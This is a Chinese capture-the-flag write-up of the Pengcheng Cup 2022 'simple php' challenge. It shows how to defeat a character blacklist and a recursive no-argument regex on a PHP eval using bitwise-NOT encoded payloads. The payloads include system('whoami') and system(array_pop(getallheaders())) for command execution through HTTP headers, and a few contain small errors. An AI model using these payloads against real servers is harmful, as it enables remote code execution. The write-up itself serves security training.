鹏城杯2022

简单的php

题目源码

<?php
show_source(__FILE__);
   $code = $_GET['code'];
   if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
       die(' Hello');
  }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
       @eval($code);
​
  }
​
?>

首先对传入的code参数进行了正则过滤,过滤大小字母、数字、以及一些特殊符号,但是没有过滤 ~ 取反,

下面还有一个条件

if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code))
@eval($code);

这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));第一次匹配后就还剩

a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b('111'));这种存在参数的就不行

那么这题的解法就属于无参数的取反RCE

无参rce常用函数getallheaders() 获取全部 HTTP 请求头信息

get_defined_vars() 返回由所有已定义变量所组成的数组
session_id() 获取/设置 当前会话 ID
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。


我们先试着构造一个phpinfo()

图片[1],鹏城杯2022,网络安全爱好者中心-神域博客网

取反后的结果就是:%8F%97%8F%96%91%99%90

正常我们取反rce,比如system(‘whoami’);

(~%8C%86%8C%8B%9A%92)(%88%97%90%9E%92%96);

图片[2],鹏城杯2022,网络安全爱好者中心-神域博客网

但是这个payload里的括号会影响我们这题的正则替换

图片[3],鹏城杯2022,网络安全爱好者中心-神域博客网

这样就不满足条件,所以我们要把小括号换城另一种符号,换成‘[ ]’中括号

当然在我们换成中括号后不能改变原来的意思,我们要取出字符串比如这样

图片[4],鹏城杯2022,网络安全爱好者中心-神域博客网

所以我们就可以构造我们的phpinfo()了

也就是 [~%8F%97%8F%96%91%99%90][!%FF]();

这里的!%FF也就是0

图片[5],鹏城杯2022,网络安全爱好者中心-神域博客网

成功执行,下面就是无参rce的构造了

打印请求头信息

var_dump(getallheaders());

[%89%9E%8D%A0%9B%8A%92%8F][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]());

图片[6],鹏城杯2022,网络安全爱好者中心-神域博客网

可以通过控制请求头来rce

system(array_pop(getallheaders()));

array_pop取数组的最后一个元素,所以我们要把命令放在最后一个请求头

这里用burp抓包改请求头

图片[7],鹏城杯2022,网络安全爱好者中心-神域博客网

接下里就可以拿flag了

图片[8],鹏城杯2022,网络安全爱好者中心-神域博客网
图片[9],鹏城杯2022,网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞8 分享
评论 共3条

请登录后发表评论

    • 头像السيرة الذاتية0
    • 头像Harmon Brakus0
    • 头像Aaron Goldner0